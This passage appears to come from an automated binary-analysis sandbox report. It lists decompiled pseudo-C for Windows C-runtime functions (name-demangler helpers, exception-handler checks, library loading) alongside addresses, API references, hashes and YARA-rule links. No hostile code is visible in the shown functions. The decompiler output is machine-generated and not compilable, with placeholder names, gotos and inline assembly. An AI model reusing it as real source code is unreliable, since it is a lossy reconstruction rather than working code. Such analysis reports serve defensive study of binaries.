										 *(_t246 + 0xa0 + _t210 * 4) = _v740;
										E00C7CA6E(_v732);
										 *(_t246 + 8) = _v744;
										goto L39;
									}
									goto L40;
								}
							}
						} else {
							_t155 = _t244;
							L40:
							_pop(_t247);
							_pop(_t250);
							_pop(_t211);
							return E00C572B1(_t155, _t211, _v8 ^ _t261, _t244, _t247, _t250);
						}
						goto L52;
					}
					asm("sbb eax, eax");
					_t158 = _t157 | 0x00000001;
					__eflags = _t158;
					goto L8;
				}
				L52:
			}

0x00c79043
0x00c7904e
0x00c79055
0x00c79058
0x00c79059
0x00c7905c
0x00c79060
0x00c79061
0x00c79064
0x00c79074
0x00c79097
0x00c7909c
0x00c790a1
0x00c79379
0x00c79379
0x00c79379
0x00000000
0x00c790a7
0x00c790a7
0x00c790aa
0x00c790ad
0x00c790b3
0x00c790b9
0x00c790bc
0x00c790be
0x00c790c1
0x00c790cb
0x00c790d1
0x00000000
0x00000000
0x00c790d7
0x00c79100
0x00c79100
0x00c790d9
0x00c790d9
0x00c790e1
0x00c790e8
0x00c790ee
0x00000000
0x00c790f0
0x00c790f0
0x00c790f3
0x00c790fe
0x00000000
0x00000000
0x00000000
0x00000000
0x00c790fe
0x00c790ee
0x00c7910d
0x00c7910f
0x00c79118
0x00c7911e
0x00c79121
0x00c79121
0x00c79124
0x00c79127
0x00c79127
0x00c79137
0x00c79145
0x00c7914a
0x00c79151
0x00c79153
0x00000000
0x00c79159
0x00c7915f
0x00c7916c
0x00c79175
0x00c79188
0x00c7918f
0x00c79194
0x00c79197
0x00c79199
0x00c793f9
0x00c793ff
0x00c79400
0x00c79401
0x00c79402
0x00c79403
0x00c79404
0x00c79409
0x00c7940c
0x00c79413
0x00c79413
0x00c79416
0x00c7942c
0x00c7942c
0x00c7942f
0x00c79418
0x00c79418
0x00c79418
0x00c7941b
0x00c79429
0x00c7942b
0x00c7941d
0x00c7941d
0x00c79420
0x00000000
0x00c79422
0x00c79424
0x00c79426
0x00c79426
0x00c79420
0x00c7941b
0x00c7919f
0x00c7919f
0x00c791ad
0x00c791b0
0x00c791c6
0x00c791cd
0x00c791d3
0x00c791b2
0x00c791b2
0x00c791ba
0x00000000
0x00c791bc
0x00c791bc
0x00c791c2
0x00c791c2
0x00c791ba
0x00c791d9
0x00c791e0
0x00c791e3
0x00c79303
0x00c79306
0x00c79313
0x00c79316
0x00c7931e
0x00c7931e
0x00c79308
0x00c7930e
0x00c7930e
0x00c791e9
0x00c791e9
0x00c791ef
0x00c791f7
0x00c791f9
0x00c791fc
0x00c79205
0x00c7920e
0x00c79214
0x00c79217
0x00c79219
0x00000000
0x00000000
0x00c7921b
0x00c79221
0x00c79222
0x00c7922d
0x00c79235
0x00c7923d
0x00c79240
0x00c79243
0x00c79249
0x00c7924f
0x00c79255
0x00c7925b
0x00c7925e
0x00000000
0x00000000
0x00c79260
0x00c79285
0x00c79285
0x00c79288
0x00c792a5
0x00c792aa
0x00c792ad
0x00c792af
0x00c792ed
0x00c792b1
0x00c792b1
0x00c792b7
0x00c792bc
0x00c792c4
0x00c792c5
0x00c792c5
0x00c792dc
0x00c792e3
0x00c792e6
0x00c792e8
0x00c792e8
0x00c792f3
0x00c792f9
0x00c792f9
0x00c792fe
0x00000000
0x00c792fe
0x00c79262
0x00c79264
0x00c79269
0x00c7926f
0x00c79278
0x00c79281
0x00c79281
0x00000000
0x00c79264
0x00c79321
0x00c79321
0x00c79325
0x00c7932d
0x00c79333
0x00c79336
0x00c7933c
0x00c7933e
0x00c7938a
0x00c79390
0x00c793dc
0x00c793dc
0x00c79392
0x00c79397
0x00c79397
0x00c7939d
0x00c793a1
0x00000000
0x00c793a3
0x00c793a7
0x00c793b0
0x00c793bc
0x00c793c1
0x00c793ca
0x00c793d0
0x00c793d3
0x00c793d3
0x00c793a1
0x00c793e2
0x00c793ea
0x00c793f0
0x00c793f3
0x00c79340
0x00c79346
0x00c79350
0x00c79362
0x00c79369
0x00c79376
0x00000000
0x00c79376
0x00000000
0x00c7933e
0x00c79199
0x00c79111
0x00c79111
0x00c7937b
0x00c7937e
0x00c7937f
0x00c79382
0x00c79389
0x00c79389
0x00000000
0x00c7910f
0x00c79108
0x00c7910a
0x00c7910a
0x00000000
0x00c7910a
0x00000000

APIs

Part of subcall function 00C7B398: GetLastError.KERNEL32(?,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B39D
Part of subcall function 00C7B398: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B43B

_free.LIBCMT ref: 00C79350
_free.LIBCMT ref: 00C79369
_free.LIBCMT ref: 00C793A7
_free.LIBCMT ref: 00C793B0
_free.LIBCMT ref: 00C793BC

Strings

C, xrefs: 00C7919F

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorLast
String ID: C
API String ID: 3291180501-1037565863
Opcode ID: 540bb82994393744d492bb8ae194f6ce6df41748dfd98070d9e413b7aa3b0020
Instruction ID: e98abdb38b1536de901e00356cd4d9653fc6ad9e8d309ace2c42648894fac334
Opcode Fuzzy Hash: 540bb82994393744d492bb8ae194f6ce6df41748dfd98070d9e413b7aa3b0020
Instruction Fuzzy Hash: 23C14D7590121A9FDB24DF28C888BADB7B4FB48314F5085EAE90DA7390D731AE90CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00C5A87C, Relevance: 10.7, APIs: 7, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00C5A87C(void* __ebx, intOrPtr* _a4, intOrPtr* _a8) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				signed int _v24;
				char _v28;
				char _v36;
				char _v44;
				char* _t50;
				void* _t54;
				intOrPtr* _t57;
				void* _t62;
				intOrPtr* _t68;
				intOrPtr* _t69;
				char* _t73;
				void* _t77;
				void* _t78;
				intOrPtr* _t83;
				char* _t88;
				intOrPtr* _t104;
				void* _t108;
				void* _t113;
				char _t115;
				void* _t118;
				void* _t119;
				void* _t123;

				_t50 =  *0xca3e38; // 0x0
				_t119 = _t118 - 0x28;
				if( *_t50 == 0) {
					_t51 = _a8;
					_t115 = 0;
					if( *_a8 == 0) {
						goto L16;
					} else {
						_v28 = ")[";
						_v24 = 2;
						_t54 = E00C593AC(E00C59324(E00C592D7(_t85,  &_v44, 0x28, _t51),  &_v36,  &_v28),  &_v20, 1);
						_t88 =  &_v12;
						goto L17;
					}
					L21:
				} else {
					_t113 = E00C5C92C();
					_t123 = _t113;
					if(_t123 < 0 || _t123 == 0) {
						_t115 = 0;
						L16:
						_v12 = _t115;
						_v8 = _t115;
						E00C5A438( &_v12, 0x5b);
						_t54 = E00C593AC( &_v12,  &_v44, 1);
						_t88 =  &_v36;
						L17:
						E00C5AAD4(_a4, E00C59368(_t54, _t88, 0x5d));
						_t57 = _a4;
					} else {
						_t83 = _a8;
						_v12 = 0;
						_v8 = 0;
						if(( *(_t83 + 4) & 0x00000800) == 0) {
							L5:
							_t62 = _t113;
							_t113 = _t113 - 1;
							if(_t62 != 0) {
								_t73 =  *0xca3e38; // 0x0
								if( *_t73 != 0) {
									_t77 = E00C592D7(_t85,  &_v36, 0x5b, E00C5BBDB(_t108,  &_v20, 0));
									_t119 = _t119 + 0x14;
									_t78 = E00C59368(_t77,  &_v44, 0x5d);
									_t85 =  &_v12;
									E00C59440( &_v12, _t78);
									goto L8;
								}
							}
						} else {
							_v20 = 0xc99dd4;
							_t85 =  &_v12;
							_v16 = 2;
							E00C593E8( &_v12,  &_v20);
							L8:
							if(_v8 <= 1) {
								goto L5;
							}
						}
						if( *_t83 != 0) {
							if(( *(_t83 + 4) & 0x00000800) == 0) {
								_t68 = E00C59368(E00C592D7(_t85,  &_v44, 0x28, _t83),  &_v36, 0x29);
								_push( &_v12);
								_push( &_v20);
								_t104 = _t68;
							} else {
								_t104 = _t83;
								_push( &_v12);
								_push( &_v44);
							}
							_t69 = E00C59346(_t104);
							_v12 =  *_t69;
							_v8 =  *((intOrPtr*)(_t69 + 4));
						}
						E00C5D1E4(_t83,  &_v28,  &_v12);
						_t57 = _a4;
						 *_t57 = _v28;
						 *(_t57 + 4) = _v24 | 0x00000800;
					}
				}
				return _t57;
				goto L21;
			}

0x00c5a87f
0x00c5a884
0x00c5a88c
0x00c5a9d2
0x00c5a9d5
0x00c5a9d9
0x00000000
0x00c5a9db
0x00c5a9df
0x00c5a9e9
0x00c5aa0f
0x00c5aa14
0x00000000
0x00c5aa14
0x00000000
0x00c5a892
0x00c5a897
0x00c5a899
0x00c5a89b
0x00c5a993
0x00c5a995
0x00c5a99a
0x00c5a99d
0x00c5a9a0
0x00c5a9ae
0x00c5a9b3
0x00c5a9b6
0x00c5a9c4
0x00c5a9c9
0x00c5a8a7
0x00c5a8a8
0x00c5a8ad
0x00c5a8b0
0x00c5a8ba
0x00c5a8d8
0x00c5a8d8
0x00c5a8da
0x00c5a8dd
0x00c5a8df
0x00c5a8e7
0x00c5a8fa
0x00c5a8ff
0x00c5a90a
0x00c5a910
0x00c5a913
0x00000000
0x00c5a913
0x00c5a8e7
0x00c5a8bc
0x00c5a8bf
0x00c5a8c7
0x00c5a8ca
0x00c5a8d1
0x00c5a918
0x00c5a91c
0x00000000
0x00000000
0x00c5a91c
0x00c5a920
0x00c5a929
0x00c5a94e
0x00c5a956
0x00c5a95a
0x00c5a95b
0x00c5a92b
0x00c5a92e
0x00c5a930
0x00c5a934
0x00c5a934
0x00c5a95d
0x00c5a964
0x00c5a96a
0x00c5a96a
0x00c5a975
0x00c5a97a
0x00c5a98b
0x00c5a98d
0x00c5a990
0x00c5a89b
0x00c5a9d1
0x00000000

APIs

DName::operator+.LIBCMT ref: 00C5A90A
DName::operator+.LIBCMT ref: 00C5A95D

Part of subcall function 00C593E8: shared_ptr.LIBCMT ref: 00C59404

Part of subcall function 00C592D7: DName::operator+.LIBCMT ref: 00C592F8

DName::operator+.LIBCMT ref: 00C5A94E
DName::operator+.LIBCMT ref: 00C5A9AE
DName::operator+.LIBCMT ref: 00C5A9BB
DName::operator+.LIBCMT ref: 00C5AA02
DName::operator+.LIBCMT ref: 00C5AA0F

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Name::operator+$shared_ptr
String ID:
API String ID: 1037112749-0
Opcode ID: a8a749c1ee6062b09572e2560ea76a9ef6258b2c0b04fe433653de67d55bd2f2
Instruction ID: 67d3278aa51d2b1a5e897bd4c0f43ea3b72bfb41f89465844b545b8ee4f12a30
Opcode Fuzzy Hash: a8a749c1ee6062b09572e2560ea76a9ef6258b2c0b04fe433653de67d55bd2f2
Instruction Fuzzy Hash: 0E51B6B9900218EFDF05DB95C845EEEBBB8EF08311F044159F905A7190DB749B8CDBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C57D00, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00C57D00(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _t52;
				signed int _t59;
				intOrPtr _t60;
				void* _t61;
				intOrPtr* _t62;
				intOrPtr _t64;
				intOrPtr _t67;
				intOrPtr _t72;
				intOrPtr* _t76;
				intOrPtr _t77;
				signed int _t81;
				char _t83;
				intOrPtr _t86;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr* _t98;
				void* _t102;
				void* _t104;
				void* _t111;

				_t89 = __edx;
				_t76 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t76 = E00C97F6B(__ecx,  *_t76);
				_t77 = _a8;
				_t6 = _t77 + 0x10; // 0x11
				_t96 = _t6;
				_push(_t96);
				_v20 = _t96;
				_v12 =  *(_t77 + 8) ^  *0xca3098;
				E00C57CC0(_t77, __edx, __edi, _t96,  *(_t77 + 8) ^  *0xca3098);
				E00C586F2(_a12);
				_t52 = _a4;
				_t104 = _t102 - 0x1c + 0x10;
				_t93 =  *((intOrPtr*)(_t77 + 0xc));
				if(( *(_t52 + 4) & 0x00000066) != 0) {
					__eflags = _t93 - 0xfffffffe;
					if(_t93 != 0xfffffffe) {
						_t89 = 0xfffffffe;
						E00C586D0(_t77, 0xfffffffe, _t96, 0xca3098);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t52;
					_v28 = _a12;
					 *((intOrPtr*)(_t77 - 4)) =  &_v32;
					if(_t93 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t81 = _v12;
							_t59 = _t93 + (_t93 + 2) * 2;
							_t77 =  *((intOrPtr*)(_t81 + _t59 * 4));
							_t60 = _t81 + _t59 * 4;
							_t82 =  *((intOrPtr*)(_t60 + 4));
							_v24 = _t60;
							if( *((intOrPtr*)(_t60 + 4)) == 0) {
								_t83 = _v5;
								goto L7;
							} else {
								_t89 = _t96;
								_t61 = E00C58670(_t82, _t96);
								_t83 = 1;
								_v5 = 1;
								_t111 = _t61;
								if(_t111 < 0) {
									_v16 = 0;
									L13:
									_push(_t96);
									E00C57CC0(_t77, _t89, _t93, _t96, _v12);
									goto L14;
								} else {
									if(_t111 > 0) {
										_t62 = _a4;
										__eflags =  *_t62 - 0xe06d7363;
										if( *_t62 == 0xe06d7363) {
											__eflags =  *0xc99978;
											if(__eflags != 0) {
												_t72 = E00C95750(__eflags, 0xc99978);
												_t104 = _t104 + 4;
												__eflags = _t72;
												if(_t72 != 0) {
													_t98 =  *0xc99978; // 0xc58120
													 *0xc991a4(_a4, 1);
													 *_t98();
													_t96 = _v20;
													_t104 = _t104 + 8;
												}
												_t62 = _a4;
											}
										}
										_t90 = _t62;
										E00C586B0(_t62, _a8, _t62);
										_t64 = _a8;
										__eflags =  *((intOrPtr*)(_t64 + 0xc)) - _t93;
										if( *((intOrPtr*)(_t64 + 0xc)) != _t93) {
											_t90 = _t93;
											E00C586D0(_t64, _t93, _t96, 0xca3098);
											_t64 = _a8;
										}
										_push(_t96);
										 *((intOrPtr*)(_t64 + 0xc)) = _t77;
										E00C57CC0(_t77, _t90, _t93, _t96, _v12);
										_t86 =  *((intOrPtr*)(_v24 + 8));
										E00C58690();
										asm("int3");
										__eflags = E00C58987();
										if(__eflags != 0) {
											_t67 = E00C58939(_t86, __eflags);
											__eflags = _t67;
											if(_t67 != 0) {
												return 1;
											} else {
												E00C589D8();
												goto L24;
											}
										} else {
											L24:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L7;
									}
								}
							}
							goto L28;
							L7:
							_t93 = _t77;
						} while (_t77 != 0xfffffffe);
						if(_t83 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L28:
			}

0x00c57d00
0x00c57d07
0x00c57d0b
0x00c57d0c
0x00c57d12
0x00c57d1e
0x00c57d20
0x00c57d26
0x00c57d26
0x00c57d2f
0x00c57d31
0x00c57d34
0x00c57d37
0x00c57d3f
0x00c57d44
0x00c57d47
0x00c57d4a
0x00c57d51
0x00c57dad
0x00c57db0
0x00c57db8
0x00c57dbf
0x00000000
0x00c57dbf
0x00000000
0x00c57d53
0x00c57d53
0x00c57d59
0x00c57d5f
0x00c57d65
0x00c57dd0
0x00c57dd9
0x00c57d67
0x00c57d67
0x00c57d67
0x00c57d6d
0x00c57d70
0x00c57d73
0x00c57d76
0x00c57d79
0x00c57d7e
0x00c57d94
0x00000000
0x00c57d80
0x00c57d80
0x00c57d82
0x00c57d87
0x00c57d89
0x00c57d8c
0x00c57d8e
0x00c57da4
0x00c57dc4
0x00c57dc4
0x00c57dc8
0x00000000
0x00c57d90
0x00c57d90
0x00c57dda
0x00c57ddd
0x00c57de3
0x00c57de5
0x00c57dec
0x00c57df3
0x00c57df8
0x00c57dfb
0x00c57dfd
0x00c57dff
0x00c57e0c
0x00c57e12
0x00c57e14
0x00c57e17
0x00c57e17
0x00c57e1a
0x00c57e1a
0x00c57dec
0x00c57e20
0x00c57e22
0x00c57e27
0x00c57e2a
0x00c57e2d
0x00c57e35
0x00c57e39
0x00c57e3e
0x00c57e3e
0x00c57e41
0x00c57e45
0x00c57e48
0x00c57e55
0x00c57e58
0x00c57e5d
0x00c57e63
0x00c57e65
0x00c57e6a
0x00c57e6f
0x00c57e71
0x00c57e7c
0x00c57e73
0x00c57e73
0x00000000
0x00c57e73
0x00c57e67
0x00c57e67
0x00c57e67
0x00c57e69
0x00c57e69
0x00c57d92
0x00000000
0x00c57d92
0x00c57d90
0x00c57d8e
0x00000000
0x00c57d97
0x00c57d97
0x00c57d99
0x00c57da0
0x00000000
0x00c57da2
0x00000000
0x00c57da0
0x00c57d65
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 00C57D37
___except_validate_context_record.LIBVCRUNTIME ref: 00C57D3F
_ValidateLocalCookies.LIBCMT ref: 00C57DC8
__IsNonwritableInCurrentImage.LIBCMT ref: 00C57DF3
_ValidateLocalCookies.LIBCMT ref: 00C57E48

Strings

csm, xrefs: 00C57DDD

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 9cd844dd4feae1c1eddf07fdc9b843754b22a8a957bd9a39937c21b24ed5afd5
Instruction ID: 0d42405ee1a1621c7bcfdadf9623c71450793621c3a1fa2cb528790efbba6fa1
Opcode Fuzzy Hash: 9cd844dd4feae1c1eddf07fdc9b843754b22a8a957bd9a39937c21b24ed5afd5
Instruction Fuzzy Hash: 4F41E738A04208AFCF10DF68D885AAE7BB4EF45315F148295FC146B392DB319ED9CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00C5BBDB, Relevance: 10.6, APIs: 7, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00C5BBDB(void* __edx, intOrPtr* _a4, char _a8) {
				intOrPtr _v8;
				char _v12;
				char _v20;
				char _v28;
				char _v36;
				intOrPtr _v40;
				char _v44;
				void* __ebx;
				intOrPtr _t24;
				char* _t27;
				intOrPtr* _t28;
				intOrPtr* _t29;
				void* _t30;
				intOrPtr _t33;
				char _t38;
				intOrPtr* _t40;
				char _t42;
				char* _t45;
				char* _t46;
				void* _t55;
				intOrPtr* _t56;

				_t55 = __edx;
				_t40 =  *0xca3e38; // 0x0
				_t38 = 0;
				if( *_t40 == 0x51) {
					_t38 = 1;
					_t40 = _t40 + 1;
					 *0xca3e38 = _t40;
				}
				_t24 =  *_t40;
				if(_t24 != 0) {
					if(_t24 < 0x30 || _t24 > 0x39) {
						E00C5EDD9(_t40,  &_v44);
						if(_v36 == 0) {
							_t27 =  *0xca3e38; // 0x0
							if( *_t27 != 0) {
								_t42 = 0;
								_v8 = 2;
								_v12 = 0;
								_t56 =  &_v12;
							} else {
								_t29 = E00C58F7B( &_v36, 1);
								goto L22;
							}
						} else {
							_push(_v40);
							 *0xca3e38 =  *0xca3e38 + 1;
							_push(_v44);
							if(_a8 == 0) {
								if(_t38 == 0) {
									_t45 =  &_v20;
									goto L11;
								} else {
									_t46 =  &_v36;
									goto L8;
								}
							} else {
								if(_t38 == 0) {
									_t29 = E00C58FC5(_t38,  &_v20);
									goto L22;
								} else {
									_t30 = E00C58FC5(_t38,  &_v36);
									goto L9;
								}
							}
							goto L23;
						}
					} else {
						_t33 = _t24;
						if(_t38 == 0) {
							asm("cdq");
							asm("adc edx, 0xffffffff");
							_push(_t55);
							 *0xca3e38 = _t40 + 1;
							_t45 =  &_v36;
							_push(_t33 + 0xffffffd1);
							L11:
							_t29 = E00C59051(_t45);
							L22:
							_t56 = _t29;
						} else {
							asm("cdq");
							_push(_t55);
							 *0xca3e38 = _t40 + 1;
							_t46 =  &_v20;
							_push(_t33 - 0x2f);
							L8:
							_t30 = E00C59051(_t46);
							L9:
							E00C59346(E00C58EDB( &_v28, 0xca30a4),  &_v12, _t30);
							_t56 =  &_v12;
						}
						L23:
						_t42 =  *_t56;
					}
					_t28 = _a4;
					 *_t28 = _t42;
					_t22 = _t56 + 4; // 0x400000ca
					 *((intOrPtr*)(_t28 + 4)) =  *_t22;
				} else {
					E00C58F7B(_a4, 1);
					_t28 = _a4;
				}
				return _t28;
			}

0x00c5bbdb
0x00c5bbde
0x00c5bbe8
0x00c5bbed
0x00c5bbef
0x00c5bbf1
0x00c5bbf2
0x00c5bbf2
0x00c5bbf8
0x00c5bbfc
0x00c5bc13
0x00c5bc73
0x00c5bc7d
0x00c5bcba
0x00c5bcc2
0x00c5bcd4
0x00c5bcd6
0x00c5bcdd
0x00c5bce0
0x00c5bcc4
0x00c5bcc9
0x00000000
0x00c5bcc9
0x00c5bc7f
0x00c5bc7f
0x00c5bc82
0x00c5bc8c
0x00c5bc8f
0x00c5bcab
0x00c5bcb5
0x00000000
0x00c5bcad
0x00c5bcad
0x00000000
0x00c5bcad
0x00c5bc91
0x00c5bc93
0x00c5bca2
0x00000000
0x00c5bc95
0x00c5bc98
0x00000000
0x00c5bc98
0x00c5bc93
0x00000000
0x00c5bc8f
0x00c5bc19
0x00c5bc19
0x00c5bc1e
0x00c5bc55
0x00c5bc59
0x00c5bc5d
0x00c5bc5e
0x00c5bc64
0x00c5bc67
0x00c5bc68
0x00c5bc68
0x00c5bcce
0x00c5bcce
0x00c5bc20
0x00c5bc24
0x00c5bc25
0x00c5bc26
0x00c5bc2c
0x00c5bc2f
0x00c5bc30
0x00c5bc30
0x00c5bc35
0x00c5bc4b
0x00c5bc50
0x00c5bc50
0x00c5bcd0
0x00c5bcd0
0x00c5bcd0
0x00c5bce3
0x00c5bce7
0x00c5bce9
0x00c5bcec
0x00c5bbfe
0x00c5bc03
0x00c5bc08
0x00c5bc08
0x00c5bcf1

APIs

DName::DName.LIBVCRUNTIME ref: 00C5BC03
DName::DName.LIBVCRUNTIME ref: 00C5BC30

Part of subcall function 00C59051: __aulldvrm.LIBCMT ref: 00C59082

DName::operator+.LIBCMT ref: 00C5BC4B
DName::DName.LIBVCRUNTIME ref: 00C5BC68
DName::DName.LIBVCRUNTIME ref: 00C5BC98
DName::DName.LIBVCRUNTIME ref: 00C5BCA2
DName::DName.LIBVCRUNTIME ref: 00C5BCC9

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: NameName::$Name::operator+__aulldvrm
String ID:
API String ID: 4069495278-0
Opcode ID: c2a8fe4c51f8b57208e8e9a0182d26a40f91810061eb5b7063b623be7a4e5a71
Instruction ID: f943e915919f196785ddff8da81b24e1018ad3fc05343db7b495dbe6ef5fc419
Opcode Fuzzy Hash: c2a8fe4c51f8b57208e8e9a0182d26a40f91810061eb5b7063b623be7a4e5a71
Instruction Fuzzy Hash: 95319279904188AADB08DFA4C891BED7B75BF1A312F144149F85267291DF70BECC971C

Uniqueness

Uniqueness Score: -1.00%

Function 00C5C234, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00C5C234(void* __ebx, char* __edx, void* __edi, intOrPtr* _a4, intOrPtr _a8) {
				signed int _v8;
				long _v76;
				char _v80;
				long long _v84;
				char _v88;
				void* _v92;
				void* __esi;
				signed int _t24;
				intOrPtr _t26;
				intOrPtr* _t29;
				void* _t42;
				intOrPtr* _t43;
				long long _t45;
				char _t49;
				void* _t55;
				intOrPtr* _t56;
				signed int _t57;
				long long* _t58;
				long long _t62;

				_t55 = __edi;
				_t54 = __edx;
				_t42 = __ebx;
				_t24 =  *0xca3098; // 0x75d6936a
				_v8 = _t24 ^ _t57;
				_t43 =  *0xca3e38; // 0x0
				_t56 = _a4;
				_t26 =  *_t43;
				if(_t26 != 0) {
					if(_t26 < 0x30 || _t26 > 0x39) {
						E00C5EDD9(_t43,  &_v92);
						_t54 =  *0xca3e38; // 0x0
						if(_v84 == 0) {
							L11:
							if( *_t54 != 0) {
								_t45 = 0;
								_v80 = 2;
								_v84 = 0;
								_t29 =  &_v84;
							} else {
								_t29 = E00C58F7B( &_v84, 1);
								_t45 =  *_t29;
							}
							 *_t56 = _t45;
							 *((intOrPtr*)(_t56 + 4)) =  *((intOrPtr*)(_t29 + 4));
						} else {
							_t54 = _t54 + 1;
							_t49 = _v88;
							 *0xca3e38 = _t54;
							_v84 = _v92;
							_v80 = _t49;
							if(_a8 != 0x42) {
								if(_a8 != 0x41) {
									goto L11;
								} else {
									_t62 = _v84;
									goto L8;
								}
							} else {
								_t62 = _v84;
								L8:
								 *_t58 = _t62;
								swprintf( &_v76, 0x41, "%lf", _t49, _t49);
								_v80 = 0;
								_push(_v80);
								E00C58A6A(_t56,  &_v76);
							}
						}
					} else {
						asm("cdq");
						 *0xca3e38 = _t43 + 1;
						E00C59051(_t56, _t26 - 0x2f, __edx);
					}
				} else {
					E00C58F7B(_t56, 1);
				}
				return E00C572B1(_t56, _t42, _v8 ^ _t57, _t54, _t55, _t56);
			}

0x00c5c234
0x00c5c234
0x00c5c234
0x00c5c23a
0x00c5c241
0x00c5c244
0x00c5c24b
0x00c5c24e
0x00c5c252
0x00c5c264
0x00c5c28a
0x00c5c293
0x00c5c29a
0x00c5c2ef
0x00c5c2f2
0x00c5c302
0x00c5c304
0x00c5c30b
0x00c5c30e
0x00c5c2f4
0x00c5c2f9
0x00c5c2fe
0x00c5c2fe
0x00c5c311
0x00c5c316
0x00c5c29c
0x00c5c29f
0x00c5c2a4
0x00c5c2a7
0x00c5c2ad
0x00c5c2b0
0x00c5c2b3
0x00c5c2e8
0x00000000
0x00c5c2ea
0x00c5c2ea
0x00000000
0x00c5c2ea
0x00c5c2b5
0x00c5c2b5
0x00c5c2b8
0x00c5c2ba
0x00c5c2c8
0x00c5c2d0
0x00c5c2d9
0x00c5c2dd
0x00c5c2dd
0x00c5c2b3
0x00c5c26a
0x00c5c271
0x00c5c273
0x00c5c27c
0x00c5c27c
0x00c5c254
0x00c5c258
0x00c5c258
0x00c5c327

APIs

DName::DName.LIBVCRUNTIME ref: 00C5C258
DName::DName.LIBVCRUNTIME ref: 00C5C27C

Strings

%lf, xrefs: 00C5C2BD
A, xrefs: 00C5C2E4

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: NameName::
String ID: %lf$A
API String ID: 1333004437-43661536
Opcode ID: 76160da02e3d832fdc3e213cc71f32b6c4ae668a4deb48f2c0060195ed921165
Instruction ID: 4d62b1b9850ac8f32f170d0b033dc9787ec736e709bce3a37702e84b1f0e0767
Opcode Fuzzy Hash: 76160da02e3d832fdc3e213cc71f32b6c4ae668a4deb48f2c0060195ed921165
Instruction Fuzzy Hash: 833191B8904388DFCF14DFE4C8956ED7BB4AB09305F00805EE846AB255D7B09A8DDB49

Uniqueness

Uniqueness Score: -1.00%

Function 00C86A3A, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C86A3A(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int* _v8;
				void** _t12;
				void* _t16;
				void* _t18;
				signed int _t22;
				WCHAR* _t23;
				void** _t26;
				signed int* _t29;
				void* _t32;
				void* _t34;

				_t29 = _a4;
				while(_t29 != _a8) {
					_t22 =  *_t29;
					_t12 = 0xca4be0 + _t22 * 4;
					_t32 =  *_t12;
					_v8 = _t12;
					if(_t32 == 0) {
						_t23 =  *(0xc9cbf8 + _t22 * 4);
						_t32 = LoadLibraryExW(_t23, 0, 0x800);
						if(_t32 != 0) {
							L12:
							_t26 = _v8;
							 *_t26 = _t32;
							if( *_t26 != 0) {
								FreeLibrary(_t32);
							}
							L14:
							if(_t32 != 0) {
								_t16 = _t32;
								L18:
								return _t16;
							}
							L15:
